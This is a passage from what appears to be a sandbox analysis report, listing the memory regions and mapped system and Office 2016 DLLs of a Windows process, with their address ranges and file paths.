"c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 742 start_va = 0x7fefaee0000 end_va = 0x7fefaeeafff entry_point = 0x7fefaee0000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 743 start_va = 0x7fefbb50000 end_va = 0x7fefbba5fff entry_point = 0x7fefbb50000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 744 start_va = 0x7fefd230000 end_va = 0x7fefd23efff entry_point = 0x7fefd230000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 745 start_va = 0x7fefdda0000 end_va = 0x7fefde76fff entry_point = 0x7fefdda0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 746 start_va = 0x7fefdf20000 end_va = 0x7fefe028fff entry_point = 0x7fefdf20000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 747 start_va = 0x7fefe030000 end_va = 0x7fefe05dfff entry_point = 0x7fefe030000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 748 start_va = 0x130000 end_va = 0x131fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 749 start_va = 0x7feeef70000 end_va = 0x7fef024bfff entry_point = 0x7feeef70000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso.dll") Region: id = 750 start_va = 0x1d50000 end_va = 0x1d5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 751 start_va = 0x7fef8610000 end_va = 0x7fef8925fff entry_point = 0x7fef8610000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 752 start_va = 0x7fefe8f0000 end_va = 0x7fefe960fff entry_point = 0x7fefe8f0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 753 start_va = 0x7fef2fd0000 end_va = 0x7fef30b1fff entry_point = 0x7fef2fd0000 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 754 start_va = 0x7fef8450000 end_va = 0x7fef8608fff entry_point = 0x7fef8450000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 755 start_va = 0x7fefbc00000 end_va = 0x7fefbdf3fff entry_point = 0x7fefbc00000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 756 start_va = 0x150000 end_va = 0x151fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 757 start_va = 0x7fefb5d0000 end_va = 0x7fefb5e0fff entry_point = 0x7fefb5d0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 758 start_va = 0x7fefd2e0000 end_va = 0x7fefd31cfff entry_point = 0x7fefd2e0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 764 start_va = 0x1fd0000 end_va = 0x20cffff entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 765 start_va = 0x21c0000 end_va = 0x22bffff entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 766 start_va = 0x7fefb770000 end_va = 0x7fefb787fff entry_point = 0x7fefb770000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 767 start_va = 0x7fefbe40000 end_va = 0x7fefbee6fff entry_point = 0x7fefbe40000 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 768 start_va = 0x7fefc500000 end_va = 0x7fefc50bfff entry_point = 0x7fefc500000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 769 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 770 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 771 start_va = 0x7fefd540000 end_va = 0x7fefd575fff entry_point = 0x7fefd540000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 772 start_va = 0x7fefd580000 end_va = 0x7fefd599fff entry_point = 0x7fefd580000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 773 start_va = 0x7fefdb10000 end_va = 0x7fefdce6fff entry_point = 0x7fefdb10000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 774 start_va = 0x140000 end_va = 0x146fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 775 start_va = 0x160000 end_va = 0x161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 776 start_va = 0x22c0000 end_va = 0x26b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000022c0000" filename = "" Region: id = 777 start_va = 0x26c0000 end_va = 0x298efff entry_point = 0x26c0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 778 start_va = 0x7fefd3e0000 end_va = 0x7fefd3eefff entry_point = 0x7fefd3e0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 779 start_va = 0x7fefd3f0000 end_va = 0x7fefd429fff entry_point = 0x7fefd3f0000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 780 start_va = 0x7fefd5a0000 end_va = 0x7fefd706fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 781 start_va = 0x1e90000 end_va = 0x1e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 782 start_va = 0x371e0000 end_va = 0x371effff entry_point = 0x0 region_type = private name = "private_0x00000000371e0000" filename = "" Region: id = 783 start_va = 0x7fee9020000 end_va = 0x7fee919dfff entry_point = 0x7fee9020000 region_type = mapped_file name = "dwrite.dll" filename = "\\Windows\\System32\\DWrite.dll" (normalized: "c:\\windows\\system32\\dwrite.dll") Region: id = 784 start_va = 0x7fee91a0000 end_va = 0x7fee931afff entry_point = 0x7fee91a0000 region_type = mapped_file name = "msointl.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\1033\\msointl.dll") Region: id = 785 start_va = 0x7fee94f0000 end_va = 0x7feee32efff entry_point = 0x7fee94f0000 region_type = mapped_file name = "msores.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\msores.dll") Region: id = 786 start_va = 0x7feee330000 end_va = 0x7feeec50fff entry_point = 0x7feee330000 region_type = mapped_file name = "mso99lres.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso99lres.dll") Region: id = 787 start_va = 0x7feeec60000 end_va = 0x7feeef67fff entry_point = 0x7feeec60000 region_type = mapped_file name = "mso40uires.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso40uires.dll") Region: id = 788 start_va = 0x7fef90d0000 end_va = 0x7fef90defff entry_point = 0x7fef90d0000 region_type = mapped_file name = "msointl30.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\1033\\msointl30.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\1033\\msointl30.dll") Region: id = 789 start_va = 0x2990000 end_va = 0x2d8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002990000" filename = "" Region: id = 790 start_va = 0x2e30000 end_va = 0x2f2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e30000" filename = "" Region: id = 791 start_va = 0x3020000 end_va = 0x311ffff entry_point = 0x0 region_type = private name = "private_0x0000000003020000" filename = "" Region: id = 792 start_va = 0x775c0000 end_va = 0x775c6fff entry_point = 0x775c0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 793 start_va = 0x7fefbef0000 end_va = 0x7fefbf44fff entry_point = 0x7fefbef0000 region_type = mapped_file name = "d3d10_1core.dll" filename = "\\Windows\\System32\\d3d10_1core.dll" (normalized: "c:\\windows\\system32\\d3d10_1core.dll") Region: id = 794 start_va = 0x7fefbf50000 end_va = 0x7fefbf83fff entry_point = 0x7fefbf50000 region_type = mapped_file name = "d3d10_1.dll" filename = "\\Windows\\System32\\d3d10_1.dll" (normalized: "c:\\windows\\system32\\d3d10_1.dll") Region: id = 795 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 796 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 797 start_va = 0x7fee9320000 end_va = 0x7fee94effff entry_point = 0x7fee9320000 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll") Region: id = 798 start_va = 0x7fefa8d0000 end_va = 0x7fefa8d9fff entry_point = 0x7fefa8d0000 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\System32\\davhlpr.dll" (normalized: "c:\\windows\\system32\\davhlpr.dll") Region: id = 799 start_va = 0x7fefa8e0000 end_va = 0x7fefa8fbfff entry_point = 0x7fefa8e0000 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\System32\\davclnt.dll" (normalized: "c:\\windows\\system32\\davclnt.dll") Region: id = 800 start_va = 0x7fefe970000 end_va = 0x7feff6f7fff entry_point = 0x7fefe970000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 849 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 850 start_va = 0x190000 end_va = 0x190fff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 851 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 852 start_va = 0x31e0000 end_va = 0x32dffff entry_point = 0x0 region_type = private name = "private_0x00000000031e0000" filename = "" Region: id = 853 start_va = 0x32e0000 end_va = 0x3adffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000032e0000" filename = "" Region: id = 854 start_va = 0x7febd860000 end_va = 0x7febd86ffff entry_point = 0x0 region_type = private name = "private_0x000007febd860000" filename = "" Region: id = 855 start_va = 0x7fef2ac0000 end_va = 0x7fef2b85fff entry_point = 0x7fef2ac0000 region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll") Region: id = 856 start_va = 0x7fefd340000 end_va = 0x7fefd34efff entry_point = 0x7fefd340000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 857 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 858 start_va = 0x3bc0000 end_va = 0x3cbffff entry_point = 0x0 region_type = private name = "private_0x0000000003bc0000" filename = "" Region: id = 859 start_va = 0x7fee8d50000 end_va = 0x7fee8f72fff entry_point = 0x7fee8d50000 region_type = mapped_file name = "riched20.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\riched20.dll") Region: id = 860 start_va = 0x7fef7850000 end_va = 0x7fef7854fff entry_point = 0x7fef7850000 region_type = mapped_file name = "ospintl.dll" filename = "\\Program Files\\Microsoft Office\\Office16\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\office16\\1033\\ospintl.dll") Region: id = 861 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 862 start_va = 0x7fee6e90000 end_va = 0x7fee6ffffff entry_point = 0x7fee6e90000 region_type = mapped_file name = "msptls.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\msptls.dll") Region: id = 875 start_va = 0x7fee81b0000 end_va = 0x7fee824ffff entry_point = 0x7fee81b0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 876 start_va = 0x1cb0000 end_va = 0x1cbffff entry_point = 0x0 region_type = private name = "private_0x0000000001cb0000" filename = "" Region: id = 877 start_va = 0x1cc0000 end_va = 0x1cd0fff entry_point = 0x1cc0000 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 878 start_va = 0x1de0000 end_va = 0x1e5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 879 start_va = 0x1ea0000 end_va = 0x1f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 880 start_va = 0x3cc0000 end_va = 0x45effff entry_point = 0x3cc0000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 881 start_va = 0x73da0000 end_va = 0x73da2fff entry_point = 0x73da0000 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 882 start_va = 0x7fee7490000 end_va = 0x7fee7b8dfff entry_point = 0x7fee7490000 region_type = mapped_file name = "csi.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\csi.dll") Region: id = 883 start_va = 0x7fefa160000 end_va = 0x7fefa16ffff entry_point = 0x7fefa160000 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 884 start_va = 0x7fefc100000 end_va = 0x7fefc22bfff entry_point = 0x7fefc100000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 885 start_va = 0x7fefb1d0000 end_va = 0x7fefb1fffff entry_point = 0x7fefb1d0000 region_type = mapped_file name = "peerdist.dll" filename = "\\Windows\\System32\\PeerDist.dll" (normalized: "c:\\windows\\system32\\peerdist.dll") Region: id = 886 start_va = 0x7fefc6e0000 end_va = 0x7fefc6fdfff entry_point = 0x7fefc6e0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 887 start_va = 0x7fefce20000 end_va = 0x7fefce4efff entry_point = 0x7fefce20000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 888 start_va = 0x1ce0000 end_va = 0x1ceffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ce0000" filename = "" Region: id = 889 start_va = 0x1cf0000 end_va = 0x1cfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001cf0000" filename = "" Region: id = 890 start_va = 0x1d00000 end_va = 0x1d00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d00000" filename = "" Region: id = 891 start_va = 0x1d10000 end_va = 0x1d10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d10000" filename = "" Region: id = 892 start_va = 0x45f0000 end_va = 0x46effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000045f0000" filename = "" Region: id = 893 start_va = 0x46f0000 end_va = 0x47effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000046f0000" filename = "" Region: id = 894 start_va = 0x7fef29e0000 end_va = 0x7fef2a48fff entry_point = 0x7fef29e0000 region_type = mapped_file name = "aceoledb.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\aceoledb.dll") Region: id = 895 start_va = 0x7fefe590000 end_va = 0x7fefe628fff entry_point = 0x7fefe590000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 896 start_va = 0x1d20000 end_va = 0x1d21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d20000" filename = "" Region: id = 897 start_va = 0x7fee7d40000 end_va = 0x7fee7e4dfff entry_point = 0x7fee7d40000 region_type = mapped_file name = "oledb32.dll" filename = "\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll") Region: id = 898 start_va = 0x7fef7a90000 end_va = 0x7fef7ab7fff entry_point = 0x7fef7a90000 region_type = mapped_file name = "msdart.dll" filename = "\\Windows\\System32\\msdart.dll" (normalized: "c:\\windows\\system32\\msdart.dll") Region: id = 899 start_va = 0x7fefcda0000 end_va = 0x7fefcdc1fff entry_point = 0x7fefcda0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 900 start_va = 0x4950000 end_va = 0x49cffff entry_point = 0x0 region_type = private name = "private_0x0000000004950000" filename = "" Region: id = 901 start_va = 0x750f0000 end_va = 0x75103fff entry_point = 0x750f0000 region_type = mapped_file name = "oledb32r.dll" filename = "\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll") Region: id = 902 start_va = 0x7fee7240000 end_va = 0x7fee748afff entry_point = 0x7fee7240000 region_type = mapped_file name = "acecore.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\acecore.dll") Region: id = 903 start_va = 0x47f0000 end_va = 0x48effff entry_point = 0x0 region_type = private name = "private_0x00000000047f0000" filename = "" Region: id = 904 start_va = 0x49d0000 end_va = 0x89cffff entry_point = 0x0 region_type = private name = "private_0x00000000049d0000" filename = "" Region: id = 905 start_va = 0x8bc0000 end_va = 0x8cbffff entry_point = 0x0 region_type = private name = "private_0x0000000008bc0000" filename = "" Region: id = 906 start_va = 0x8d20000 end_va = 0x8e1ffff entry_point = 0x0 region_type = private name = "private_0x0000000008d20000" filename = "" Region: id = 907 start_va = 0x8ef0000 end_va = 0x8feffff entry_point = 0x0 region_type = private name = "private_0x0000000008ef0000" filename = "" Region: id = 908 start_va = 0x7fee7160000 end_va = 0x7fee7234fff entry_point = 0x7fee7160000 region_type = mapped_file name = "acewstr.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\1033\\acewstr.dll") Region: id = 909 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 910 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 911 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 912 start_va = 0x1d30000 end_va = 0x1d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 913 start_va = 0x7fee7080000 end_va = 0x7fee7152fff entry_point = 0x7fee7080000 region_type = mapped_file name = "acees.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\acees.dll") Region: id = 914 start_va = 0x74e90000 end_va = 0x74f61fff entry_point = 0x74e90000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\System32\\msvcr100.dll" (normalized: "c:\\windows\\system32\\msvcr100.dll") Region: id = 915 start_va = 0x7fef7a60000 end_va = 0x7fef7a67fff entry_point = 0x7fef7a60000 region_type = mapped_file name = "vbajet32.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\vbajet32.dll") Region: id = 916 start_va = 0x89d0000 end_va = 0x8acffff entry_point = 0x0 region_type = private name = "private_0x00000000089d0000" filename = "" Region: id = 917 start_va = 0x8ba0000 end_va = 0x8baffff entry_point = 0x0 region_type = private name = "private_0x0000000008ba0000" filename = "" Region: id = 918 start_va = 0x7fee7000000 end_va = 0x7fee7079fff entry_point = 0x7fee7000000 region_type = mapped_file name = "expsrv.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\expsrv.dll") Region: id = 919 start_va = 0x1d40000 end_va = 0x1d49fff entry_point = 0x1d40000 region_type = mapped_file name = "normnfd.nls" filename = "\\Windows\\System32\\normnfd.nls" (normalized: "c:\\windows\\system32\\normnfd.nls") Region: id = 920 start_va = 0x1e60000 end_va = 0x1e6ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 921 start_va = 0x1e70000 end_va = 0x1e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e70000" filename = "" Region: id = 922 start_va = 0x1e80000 end_va = 0x1e8ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 923 start_va = 0x90b0000 end_va = 0x91affff entry_point = 0x0 region_type = private name = "private_0x00000000090b0000" filename = "" Region: id = 924 start_va = 0x9270000 end_va = 0x936ffff entry_point = 0x0 region_type = private name = "private_0x0000000009270000" filename = "" Region: id = 925 start_va = 0x7fee6e30000 end_va = 0x7fee6e80fff entry_point = 0x7fee6e30000 region_type = mapped_file name = "csiresources.dll" filename = "\\Program Files\\Microsoft Office\\Office16\\CSIRESOURCES.DLL" (normalized: "c:\\program files\\microsoft office\\office16\\csiresources.dll") Region: id = 926 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 927 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 928 start_va = 0x2160000 end_va = 0x216ffff entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 929 start_va = 0x93b0000 end_va = 0x94affff entry_point = 0x0 region_type = private name = "private_0x00000000093b0000" filename = "" Region: id = 930 start_va = 0x9660000 end_va = 0x975ffff entry_point = 0x0 region_type = private name = "private_0x0000000009660000" filename = "" Region: id = 931 start_va = 0x9760000 end_va = 0x985ffff entry_point = 0x0 region_type = private name = "private_0x0000000009760000" filename = "" Region: id = 932 start_va = 0x7fef9790000 end_va = 0x7fef9803fff entry_point = 0x7fef9790000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 933 start_va = 0x7fefaf70000 end_va = 0x7fefaf84fff entry_point = 0x7fefaf70000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 934 start_va = 0x7fefe380000 end_va = 0x7fefe387fff entry_point = 0x7fefe380000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 935 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 936 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 937 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 938 start_va = 0x7fefd920000 end_va = 0x7fefd96cfff entry_point = 0x7fefd920000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 939 start_va = 0x9870000 end_va = 0x996ffff entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 940 start_va = 0x7fefcc30000 end_va = 0x7fefcc46fff entry_point = 0x7fefcc30000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 941 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 942 start_va = 0x7fefc930000 end_va = 0x7fefc976fff entry_point = 0x7fefc930000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 943 start_va = 0x7fefd320000 end_va = 0x7fefd333fff entry_point = 0x7fefd320000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 944 start_va = 0x9520000 end_va = 0x961ffff entry_point = 0x0 region_type = private name = "private_0x0000000009520000" filename = "" Region: id = 945 start_va = 0x9b10000 end_va = 0x9c0ffff entry_point = 0x0 region_type = private name = "private_0x0000000009b10000" filename = "" Region: id = 946 start_va = 0x7fef93d0000 end_va = 0x7fef93dbfff entry_point = 0x7fef93d0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 947 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 948 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 949 start_va = 0x1d30000 end_va = 0x1d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 950 start_va = 0x1fa0000 end_va = 0x1faffff entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 951 start_va = 0x2f30000 end_va = 0x2feffff entry_point = 0x2f30000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 952 start_va = 0x9c10000 end_va = 